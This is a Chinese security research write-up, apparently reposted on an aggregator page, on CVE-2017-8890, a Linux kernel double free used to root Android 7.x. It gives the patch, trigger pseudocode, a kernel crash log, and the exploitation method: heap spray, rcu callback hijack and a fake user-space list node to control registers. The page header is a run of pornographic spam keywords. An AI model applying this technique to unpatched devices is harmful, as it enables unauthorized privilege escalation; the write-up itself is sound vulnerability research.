日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > Android >内容正文

Android

CVE-2017-8890漏洞分析与利用(Root Android 7.x)

發布時間:2025/3/15 Android 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2017-8890漏洞分析与利用(Root Android 7.x) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

漏洞簡介

cve.mitre.org 網站給出的信息如下:

The inet_csk_clone_lock function in net/ipv4/inet_connection_sock.c in the Linux kernel through 4.10.15 allows attackers to cause a denial of service (double free) or possibly have unspecified other impact by leveraging use of the accept system call.

通過漏洞信息,可以知道這個漏洞影響范圍非常廣,包括Linux Kernel 4.10.15之前的所有內核版本。

這個漏洞同時存在于Android Kernel中,在實際測試中,不需要任何權限即可造成double free導致系統崩潰。

漏洞補丁如下所示:

-rw-r--r-- net/ipv4/inet_connection_sock.c 2 1 files changed, 2 insertions, 0 deletionsdiff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.cindex 5e313c1..1054d33 100644--- a/net/ipv4/inet_connection_sock.c+++ b/net/ipv4/inet_connection_sock.c@@ -794,6 +794,8 @@ struct sock *inet_csk_clone_lock(const struct sock *sk,/* listeners have SOCK_RCU_FREE, not the children */sock_reset_flag(newsk, SOCK_RCU_FREE);+ inet_sk(newsk)->mc_list = NULL;+newsk->sk_mark = inet_rsk(req)->ir_mark;atomic64_set(&newsk->sk_cookie,atomic64_read(&inet_rsk(req)->ir_cookie));

補丁日期為2017-05-09,因此在該日起之前的所有Android設備,都會受到這個漏洞的影響。

漏洞復現

通過分析漏洞補丁函數inet_csk_clone_lock,整理出該函數的調用鏈如下圖所示:

最終的調用源頭為tcp_v4_rcv,該函數用于處理tcp三次握手的數據包,在三次握手完成真正連接建立時,會創建新的 socket對象,因此問題出現在創建新socket的過程,代碼如下所示:

struct sock *inet_csk_clone_lock(const struct sock *sk,const struct request_sock *req,const gfp_t priority){struct sock *newsk = sk_clone_lock(sk, priority);if (newsk) {// ...// cve-2017-8890 patch// inet_sk(newsk)->mc_list = NULL;// ...}// ...}struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority){newsk = sk_prot_alloc(sk->sk_prot, priority, sk->sk_family);if (newsk != NULL) {sock_copy(newsk, sk);// newsk init...}return newsk; }static void sock_copy(struct sock *nsk, const struct sock *osk){#ifdef CONFIG_SECURITY_NETWORKvoid *sptr = nsk->sk_security;#endifmemcpy(nsk, osk, offsetof(struct sock, sk_dontcopy_begin));memcpy(&nsk->sk_dontcopy_end, &osk->sk_dontcopy_end,osk->sk_prot->obj_size - offsetof(struct sock, sk_dontcopy_end));#ifdef CONFIG_SECURITY_NETWORKnsk->sk_security = sptr;security_sk_clone(osk, nsk);#endif}

最后生成的新socket,在該對象初始化之前,先調用了sock_copy函數將父socket數據拷貝過來,生成一個父sock的副本,并且在后邊的初始化過程中,沒有將mc_list對象初始化,因此造成了父mc_list對象被新的socket對象引用的結果,如果創建多次,也會被引用多次,最后對mc_list對象也會進行多次釋放。

下邊問題就是如何創建一個帶有mc_list對象的socket。查看源碼中所有對mc_list的引用,最后的調用來源如下圖所示:

?

ip_mc_join_group函數用于將socket加入到多播組,該函數的調用接口為ip_setsockopt。

該漏洞類型為double free,必然伴隨著可多次釋放該對象,創建mc_list對象流程有了,再看下該對象的釋放流程,如下圖所示:

?

最終可復現該漏洞,偽代碼如下所示:

sockfd = socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP);setsockopt(server_sockfd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof(group);accept_sockfd1 = accept(sockfd, (struct sockaddr*)&accept1_si, sizeof(accept1_si));accept_sockfd2 = accept(sockfd, (struct sockaddr*)&accept2_si, sizeof(accept2_si));// first freeclose(accept_sockfd1);// second freeclose(accept_sockfd2);

崩潰信息如下所示:

35890.702474] ------------[ cut here ]------------[35890.702509] kernel BUG at /usr/local/google/buildbot/src/partner-android/n-dev-msm-angler-3.10-nyc-mr2/private/msm-huawei/mm/slub.c:3364![35890.702518] Internal error: Oops - BUG: 0 [#1] PREEMPT SMP[35890.702539] CPU: 0 PID: 8 Comm: rcuc/0 Not tainted 3.10.73-g5b0be8f02fe #1[35890.702548] task: ffffffc00e9a4b40 ti: ffffffc00e9dc000 task.ti: ffffffc00e9dc000[35890.702576] PC is at kfree+0xe8/0x1e0[35890.702594] LR is at rcu_do_batch.isra.35+0x118/0x2b4[35890.702602] pc : [<ffffffc00030240c>] lr : [<ffffffc000299ab8>] pstate: 40000145[35890.702608] sp : ffffffc00e9dfc90[35890.702615] x29: ffffffc00e9dfc90 x28: 00000000000005d7[35890.702630] x27: ffffffc000ce5000 x26: ffffffc03bffd220[35890.702641] x25: ffffffc03bffd120 x24: ffffffc00e9dc000[35890.702653] x23: ffffffc00177f618 x22: ffffffc000299ab8[35890.702665] x21: ffffffc00160fba8 x20: ffffffc03bffd740[35890.702677] x19: ffffffbc00efff40 x18: 0000000000000000[35890.702687] x17: 0000000000000000 x16: 0000000000000001[35890.702699] x15: 0000000000000000 x14: 0ffffffffffffffe[35890.702711] x13: 0000000000000030 x12: 0101010101010101[35890.702722] x11: 7f7f7f7f7f7f7f7f x10: feff676273687672[35890.702734] x9 : 0000000000000040 x8 : ffffffc0c531be00[35890.702745] x7 : 00000000000003be x6 : 0000000000000004[35890.702756] x5 : 0000000000000008 x4 : 0000000000000000[35890.702767] x3 : ffffffc0c1192450 x2 : 0000000000000000[35890.702778] x1 : 0000000000efff40 x0 : 0000000000000000[35890.702792][35890.702792] PC: 0xffffffc00030230c:[35890.702798] 2308 14000002b9805001 aa0103e0b9801801 a8c27bfdf9400bf3 a9bb7bfdd65f03c0 a90153f3910003fd d0004f20aa0003f4 a90363f7a9025bf5 aa1e03f6f9420400[35890.702835] 2348 b9400801a9046bf9 910003e1340002a1 b94052629272c433 b900526211000442 b4000115f9401015 aa1603e1f94002a3 aa1403e2f94006a0 f8410ea0d63f0060[35890.702869] 2388 b9405260b5ffff40 b900526051000400 36080040f9400260 f100429f94277066 90004f4054000a29 f9419c00d2c00801 8b010001f9400000 8b140021d2dff780[35890.702901] 23c8 d34cfc21f2ffffe0 8b000033d37ae421 367800e2f8606822 d50339bff9401a62 d34f3c00f8606820 9a9310536b1f001f 37380180f9400260 f272041ff9400260[35890.702933] 2408 e7f001f254000041 d34e3821f9400261 b9406a6134000041 97ff36aeaa1303e0 910003e014000031 9272c416f9401a78 97fd434352800020 d538d099f9400317[35890.702965] 2448 f94007558b17033a 97fd437152800020 36080040f94002c0 f9400b4094277036 54000381eb00027f f8776b21b9802300 d53b4224f8206a81 f9400301d50342df[35890.702998] 2488 d538d08252800003 f8776b25aa0103e0 eb0500dff8606846 9100202154000181 eb15003ff8616841 f820685454000101 d538d080910022b5 52800023f9400301[35890.703032] 24c8 f821681591002021 350000c3d51b4224 aa1803e017ffffd8 aa1403e2aa1303e1 a94153f397fffadd a94363f7a9425bf5 a8c57bfda9446bf9 a9bc7bfdd65f03c0[35890.703065] 2508 a9025bf5910003fd a90153f39000b1b6 b94892d5a90363f7 35000155aa0003f3 d2818000f9400401 ea00003ff2a01520 f9402660540000a1 b9404660b5000060[35890.703100][35890.703100] LR: 0xffffffc0002999b8:[35890.703106] 99b8 9100a034a90573fb eb02029ff9401822 b400136254001380 aa0003f7aa0103f3 d50342dfd53b4236 900052629406f50e 1ac10c0152800801 937d7c21f945a842[35890.703139] 99f8 f8616841f9400042 370001609ac02420 913836b5d0009eb5 350000e039401aa0 52810161b0007320 97fe1bc8911ac000 39001aa052800020 f9405a60f9401a61[35890.703171] 9a38 f9400022f90037a0 f9001662f9401660 91012261f900003f f9400023f9401a79 eb02007ff9401a62 f900003454000041 eb14003fd1002021 d51b423654ffff21[35890.703203] 9a78 910003e1d2800016 9272c438aa1603fc d0009bb59000527b b40003c0912ea2b5 f9800340f940001a f13ffc5ff9400402 cb020000540000a8 9401a21c910006d6[35890.703236] 9ab8 d63f004014000002 9100079cf94037a0 5400006aeb00039f 17fffff0aa1a03e0 370801a0f9400300 b9433000f9400b00 9406f4cb34ffff40 f8605840f9450362[35890.703268] 9af8 f9400b00f8756802 54fffe60eb00005f aa0003fa14000002 d50342dfd53b4238 d5033bbfb500023a f9405a61f9403a60 f9403e60cb160016 cb1c0000f9003a76[35890.703300] 9b38 f9404660f9003e60 92f000008b1c001c f900467ceb00003f 540002a1f9403e61 f94016601400000d f900032091014261 f900167a9100c260 eb02029ff9400002[35890.703333] 9b78 f800841954fffd21 54ffff61eb01001f 90009c6017ffffe5 f940080091004002 5400006ceb00003f f9005a60f9400440 b50000c1f9404260 f9004261b40000a0[35890.703366][35890.703366] SP: 0xffffffc00e9dfb90:[35890.703372] fb90 0000000000000000 0000000000000008 0000000000000004 00000000000003be ffffffc0c531be00 0000000000000040 feff676273687672 7f7f7f7f7f7f7f7f[35890.703403] fbd0 0101010101010101 0000000000000030 0ffffffffffffffe 0000000000000000 0000000000000001 0000000000000000 0000000000000000 ffffffbc00efff40[35890.703436] fc10 ffffffc03bffd740 ffffffc00160fba8 ffffffc000299ab8 ffffffc00177f618 ffffffc00e9dc000 ffffffc03bffd120 ffffffc03bffd220 ffffffc000ce5000[35890.703470] fc50 00000000000005d7 ffffffc00e9dfc90 ffffffc000299ab8 ffffffc00e9dfc90 ffffffc00030240c 0000000040000145 ffffffc00e9dfc90 ffffffc000302458[35890.703503] fc90 ffffffc00e9dfce0 ffffffc000299ab8 ffffffc0c118cbb0 ffffffc0c118cbd8 ffffffc00160fba8 00000000000005ca ffffffc00177f618 ffffffc00e9dc000[35890.703535] fcd0 ffffffc03bffd120 ffffffc03bffd220 ffffffc00e9dfd50 ffffffc000299e00 ffffffc00160fda0 ffffffc000ce6000 ffffffc0c118cd98 ffffffc00e9dc000[35890.703567] fd10 00000000bfb7d000 000000000000000a ffffffc001935438 ffffffc000ce6000 0000000000000001 ffffffc000ce6000 ffffffc0c118cd98 7fffffffffffffff[35890.703599] fd50 ffffffc00e9dfde0 ffffffc00024baf0 ffffffc00e96d2c0 ffffffc00e9dc000 ffffffc0016efee8 0000000000000001 0000000000000001 0000000000000002[35890.703632][35890.703639] Process rcuc/0 (pid: 8, stack limit = 0xffffffc00e9dc058)[35890.703647] Call trace:[35890.703658] [<ffffffc00030240c>] kfree+0xe8/0x1e0[35890.703667] [<ffffffc000299ab4>] rcu_do_batch.isra.35+0x114/0x2b4[35890.703674] [<ffffffc000299dfc>] rcu_cpu_kthread+0x1a8/0x308[35890.703688] [<ffffffc00024baec>] smpboot_thread_fn+0x1dc/0x208[35890.703703] [<ffffffc000243e7c>] kthread+0xc0/0xcc[35890.703713] Code: 37380180 f9400260 f272041f 54000041 (e7f001f2)[35890.703724] ---[ end trace bc62c72cba08ddfd ]---[35890.723573] Kernel panic - not syncing: Fatal exception in interrupt[35890.723810] CPU1: stopping

漏洞利用

劫持EIP

該漏洞的利用思路比較簡單直接,在第二次釋放之前通過堆噴占位即可。

mc_list對象申請通過slab分配器分配,代碼如下:

int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr){// ...iml = sock_kmalloc(sk, sizeof(*iml), GFP_KERNEL);// ...}

對應匯編代碼:

ROM:FFFFFFC000BABD6C loc_FFFFFFC000BABD6C ; CODE XREF: ip_mc_join_group+98jROM:FFFFFFC000BABD6C MOV X0, X20ROM:FFFFFFC000BABD70 MOV W1, #0x30ROM:FFFFFFC000BABD74 MOV W2, #0xD0ROM:FFFFFFC000BABD78 BL sock_kmalloc

可知,該對象大小為0×30,位于slab-64,所以堆噴64字節數據即可。

堆噴占位后,我們需要劫持eip,因此需要能夠占位到對象中的函數指針,mc_list結構體如下所示:

struct callback_head {struct callback_head *next;void (*func)(struct callback_head *head);};#define rcu_head callback_headstruct ip_mc_socklist {struct ip_mc_socklist __rcu *next_rcu;struct ip_mreqn multi;unsigned int sfmode;struct ip_sf_socklist __rcu *sflist;struct rcu_head rcu;};

該結構體中存在一個回調函數func,因此將該函數指針覆蓋即可劫持eip。該回調函數func的處理流程位于對象釋放過程:

void ip_mc_drop_socket(struct sock *sk){// ...if (!inet->mc_list)return;rtnl_lock();while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {// ...kfree_rcu(iml, rcu);}rtnl_unlock();}

該函數獲取到mc_list對象后,最后調用kfree_rcu,該函數并不是真正的釋放該對象,而是調用call_rcu將要刪除的對象保存起來,并標記或者開始一個寬限期,等到cpu寬限期結束,會觸發一個RCU軟中斷,再進行釋放,如果有回調函數func,則進行回調函數處理流程,整個函數調用邏輯為:

kfree_rcu -> … -> call_rcu -> … -> invoke_rcu_core -> RCU_SOFTIRQ -> rcu_process_callbacks -> … __rcu_reclaim

最后的釋放代碼如下所示:

#define __is_kfree_rcu_offset(offset) ((offset) < 4096)static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head){unsigned long offset = (unsigned long)head->func;rcu_lock_acquire(&rcu_callback_map);// 是否存在回調函數if (__is_kfree_rcu_offset(offset)) {RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));kfree((void *)head - offset);rcu_lock_release(&rcu_callback_map);return true;} else {RCU_TRACE(trace_rcu_invoke_callback(rn, head));head->func(head);rcu_lock_release(&rcu_callback_map);return false;}}

對應的匯編代碼:

?

如果不存在回調函數,func會被設置成該成員在對象中的偏移,也就是0×20,當func值大于4096即可觸發到回調函數流程,即劫持eip。

最終漏洞利用示意圖如下所示:

?

劫持eip的崩潰信息如圖所示:

?

雖然劫持了eip,按照早期的安卓提權思路,直接ret2user即可完成提權操作,然而早已經加入了PXN保護,需要構造JOP來繞過,但是構造JOP需要至少控制一個寄存器,而回調函數執行后的參數為head,即為ip_mc_socklist.rcu地址,該地址為一個內核地址,數據并不可控,從崩潰信息x0寄存器的值也證實了這一點,置此,該漏洞還無法有效利用。

控制寄存器數據

通過對mc_list釋放流程的深入研究,最終發現在ip_mc_socklist結構體中,有另外一個很重要的指針變量next_rcu,在內核中,該指針指向下一個ip_mc_socklist對象,并且在ip_mc_drop_socket函數釋放流程,會循環遍歷該鏈表,直到next_rcu == NULL,部分代碼如下所示:

void ip_mc_drop_socket(struct sock *sk){rtnl_lock();while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {inet->mc_list = iml->next_rcu;kfree_rcu(iml, rcu);}rtnl_unlock();}

因此,我們可以在用戶態偽造一個ip_mc_socklist對象fake_iml,然后通過堆噴占位,使第一次被釋放的ip_mc_socklist.next_rcu = fake_iml,當內核在處理我們的fake_iml時,最后調用的fun(head)都是我們可控的,且head指向的是用戶空間,因此可以達到控制x0寄存器的目的,最終利用示意圖如下所示:

?

控制了eip和x0寄存器,就可以構造JOP進行后續的提權操作,流程比較固定,暫不細講,最終漏洞利用如下圖,測試手機為 Nexus6P 7.12

?

參考

Multicast technologies on TCP/IP networks

What is RCU, Fundamentally?

Linux 2.6內核中新的鎖機制–RCU

*本文原創作者:Mzi of SecRet-Team @云圖信安,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

總結

以上是生活随笔為你收集整理的CVE-2017-8890漏洞分析与利用(Root Android 7.x)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。